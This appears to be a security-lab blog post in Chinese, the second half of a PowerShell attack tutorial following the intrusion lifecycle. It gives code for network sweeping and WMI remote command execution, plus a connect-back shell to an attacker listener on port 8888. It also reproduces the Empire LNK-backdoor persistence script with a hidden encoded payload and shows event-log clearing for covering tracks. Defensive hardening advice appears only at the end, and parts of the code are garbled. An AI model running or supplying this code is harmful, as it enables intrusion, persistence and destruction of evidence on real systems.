基于入侵生命周期的PowerShell攻击实战指南(下)
发布时间:2020-06-15
阅读次数: 293 次
网络世界风云变幻,在很早以前,攻击者就发现使用合法工具进行的攻击可以降低被检测到的几率,而经过授权过的工具可以更容易的绕过安全防护机制。因此大量的攻击者把目光放到了这些合理工具的使用与绕过上。
而PowerShell自2006年横空出世以来,瞬间就成为了攻击者们的“新宠儿“,有关PowerShell的利用技术层出不穷,在2016年分析的49127个PowerShell脚本样本中,有95.4%的样本是恶意的。本期美创安全实验室给大家带来基于入侵生命周期的PowerShell攻击实战指南的下半部分。
在第四阶段中,我们已经摸清了大致的网络结构,接下来我们想做的就是尽可能多的获取其他内网主机权限,毕竟这种事哪个黑客会嫌多呢。所以我们首先做的就是批量网段扫描,代码如下:
`parameter(Mandatory =$true, Position =0)` `ValidatePattern("d{1,3}.d{1,3}.d{1,3}.d{1,3}")` $ping=New-ObjectSystem.Net.NetworkInformation.Ping} $pingStatus=$ping.Send("$a.$b.$c.$i",1) write-Verbose"Trying $a.$b.$c.$i" if($pingStatus.Status -eq"Success"){ Write-Output"ip: $a.$b.$c.$i is open!!!"}以上代码简单实现了网段扫描,这对我们接下来要选取目标机是很重要的。代码的实现结果如下图。

在确定了目标之后我们显而易见的就是有重复一遍第一步和第二步,相同的就不做赘述了。所以这里我们讲一点不一样的地方,WMI组件。前一阶段提到的WMI组件,WMI是Windows管理规范,由一组强大工具集合而成,用于管理本地或远程的Windows系统。而且PowerShell可以完美的操作WMI。所以我们使用WMI组件实现远程连接到其他主机上的操作,这也就达到了入侵生命周期第四阶段传播的目的。具体代码如下:
functionmc_lateral_movement{ `System.Management.ConnectionOptions`$connOps=New-Object-TypeNameSystem.Management.ConnectionOptions; `System.Management.ManagementScope`$scope=New-Object-TypeNameSystem.Management.ManagementScope"//$computerName/root/cimv2",$connOps; `System.Management.ManagementPath`$path=New-Object-TypeNameSystem.Management.ManagementPath"Win32_Process"; `System.Management.ManagementClass`$mgmtClass=New-Object-TypeNameSystem.Management.ManagementClass$scope,$path,$null; `System.Management.ManagementBaseObject`$inParams=$mgmtClass.GetMethodParameters("Create"); $inParams`"CommandLine"`="cmd.exe/c $cmdLine"; `System.Management.ManagementBaseObject`$ret=$mgmtClass.InvokeMethod("Create",$inParams,$null); $errCode=`System.Convert`::ToUInt32($ret`"ReturnValue"`); throw"Execute`RemoteExecute-Command.ps1` failed. Error code: $errCode.";根据以上代码,我们可以向目标机传入我们想要执行的命令,例如 mc_lateral_movement -computerName XXX.XXX.XXX.XXX -cmdLine“calc.exe” -user XXX -pwd XXX就可以在目标机上打开计算器。再比如我们,我们想要与目标机真正建立连接,我们可以向其发送一个反弹Shell即可。这里我们就使用Telnet命令简单代替一下,我们在攻击机上开启8888端口监听,然后利用PowerShell调用WMI向目标机发送“Telnet 192.168.xxx.xxx 8888”命令,然后我们就可以再攻击机上看到连接建立成功。如下图。


在第五阶段,黑客真正开始实现他们最初时的攻击愿望,无论是窃取数据、勒索金钱还是单纯的破坏,攻击者在这一步会原形毕露,完全暴露出自己的想法。例如直接使用PowerShell关掉正在运行的业务服务器让企业损失惨重,亦或者从被控站点下载恶意软件破坏受害者计算机等等。由于这一步的攻击行为有些敏感,这里就不具体列举了,大家懂了就好。

持久化就是“留后门“的意思,主要是减轻攻击者下次进入系统的攻击成本。而持久化的操作有很多,例如木马、自启动项、计划任务等等。这里我们利用PowerShell安装一个持久后门,可以隐蔽式的向攻击机反弹一个Shell。我们利用PowerShell的一个攻击框架----Empire。Empire是一个针对Windows平台的使用PowerShell脚本作为攻击载荷的渗透攻击框架。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。快速部署后期漏洞利用模块,内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等等,并且能够适应通信躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似于Metasploit,是一个基于PowerShell的远程控制木马。首先我们使用Empire生成反弹的PowerShell代码,将IP地址和端口配置好。

使用launcher命令,生成powershell木马。

将木马复制到目标机中,使用Empire框架中的一个叫invoke-backdoor的PowerShell脚本执行,即可实现持久化,具体代码在后面。


Empire框架中的Invoke-backdoor脚本代码如下:
functionInvoke-BackdoorLNK { `Parameter(ValueFromPipeline=$True, Mandatory =$True)` `ValidateScript({Test-Path-Path$_ })` $RegPath='HKCU:SoftwareMicrosoftWindowsdebug', $RegParts=$RegPath.split("") $Path=$RegParts`0..($RegParts.Count-2)`-join"" $Obj=New-Object-ComObjectWScript.Shell $LNK=$Obj.CreateShortcut($LNKPath) $TargetPath=$LNK.TargetPath $WorkingDirectory=$LNK.WorkingDirectory $IconLocation=$LNK.IconLocation $OriginalPath= ($IconLocation-split",")`0` $LNK.TargetPath =$OriginalPath $null=Remove-ItemProperty-Force-Path$Path-Name$Name} if(!$EncScript-or$EncScript-eq'') { throw"-EncScript or -Cleanup required!"} $null=Set-ItemProperty-Force-Path$Path-Name$Name-Value$EncScript "`*` B64 script stored at '$RegPath'`n" $LNK.TargetPath="$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" $LaunchString='`System.Diagnostics.Process`::Start("'+$TargetPath+'");IEX(`Text.Encoding`::UNICODE.GetString(`Convert`::FromBase64String((gp '+$Path+' '+$Name+').'+$Name+')))' $LaunchBytes =`System.Text.Encoding`::UNICODE.GetBytes($LaunchString) $LaunchB64=`System.Convert`::ToBase64String($LaunchBytes) $LNK.Arguments ="-w hidden -nop -enc $LaunchB64" $LNK.WorkingDirectory =$WorkingDirectory $LNK.IconLocation ="$TargetPath,0" "`*` .LNK at $LNKPath set to trigger`n" 

在恢复阶段,这并不是一个必须要经历的阶段。当然,对于足够细心与谨慎的黑客,这一步是必不可少的。简单来说,在恢复阶段黑客需要把自己作案的证据删除、蛛丝马迹都清理掉,这样别人找到我的风险就会大大降低。所以我们使用PowerShell工具,将本机上的日志信息都给清理干净即可。 
列出事件日志列表
Get-EventLog -List

查看application日志
Get-Eventlog -LogName application

Clear-Eventlog -LogName Application

正由于PowerShell与生俱来的强大能力,导致当PowerShell被用于攻击时会带来超强的破坏性,例如修改系统安全配置、窃取用户数据文件等等。所以微软在发行PowerShell的几年后,立即着手为PowerShell提供一些基本的安全机制,限制恶意脚本的直接运行。最常见的安全机制有“执行策略”和反恶意程序扫描接口(Anti-Malware ScanInterface, AMSI)。“执行策略”主要通过检测和验证签名的方法限制脚本文件的运行,该策略的默认取值为Restricted,即除了部分带有微软数字签名的脚本文件外,其他脚本一律无法直接运行。此外常见的取值还有:AllSigned,即经数字签名后的脚本才可运行;RemoteSigned,即本地脚本可直接运行,远程脚本则需数字签名才能运行;Unrestricted,即所有脚本文件均可运行。用户可以在PowerShell命令行中运行Get-ExecutionPolicy命令查看当前的策略取值。AMSI用于为Microsoft Defender等杀毒软件提供PowerShell脚本检测接口。脚本在运行时,AMSI将对脚本的代码进行检测,并通过接口传递给系统内的杀毒软件。如杀毒软件发现代码存在恶意特征,将中止脚本的执行,并将结果反馈给用户。
在Windows 7及更高版本的系统中,PowerShell是内置组件,无法直接卸载。为了降低PowerShell攻击的风险隐患,提高系统的安全性,可采取以下措施。升级PowerShell 到更新版本。在命令行中运行“Get-Host”即可查看当前PowerShell的版本号。为使用PowerShell内置的安全特性,建议升级到5.0 以上版本。检查是否存在旧版本。由于PowerShell支持多版本并存,即使已安装高版本,也应当在命令行中尝试运行形如“PowerShell.exe -version 2 Get-Host”的命令,判断系统中是否依然存在较低版本的PowerShell,避免“降级攻击”。检查“执行策略”是否已设置为“Restricted”。如果不是,可通过“Set-ExecutionPolicy Restricted”命令进行设置。限制PowerShell的语言模式。如仅需保留PowerShell最基本的运行环境,不需要调用.Net 框架的类库,则可限制PowerShell支持的语言种类。具体做法是,首先在系统的环境变量中添加名为“__PSLockdownPolicy”的变量,取值为“4”;然后可以在PowerShell命令行中输入“$ExecutionContext.SessionState.LanguageMode” 进行验证,如返回结果由“FullLanguage” 变为“ConstrainedLanguage”,则表明语言模式修改成功。此时,大部分恶意程序都会因无法调用.Net 框架的类库而无法正常运行,从而不会对系统造成显著破坏。安装杀毒软件并定期升级。一些杀毒软件能够检测PowerShell 脚本文件的恶意特征,有的还能够在执行PowerShell 脚本文件时发现其恶意行为,这也有助于防范恶意PowerShell 脚本的运行。与此同时,用户还应提高辨别意识,养成良好的上网习惯,不访问来路不明的网站、邮件及其附件,不运行可疑的程序和脚本文件,定期更新杀毒软件和系统补丁,防止PowerShell恶意脚本的植入和运行。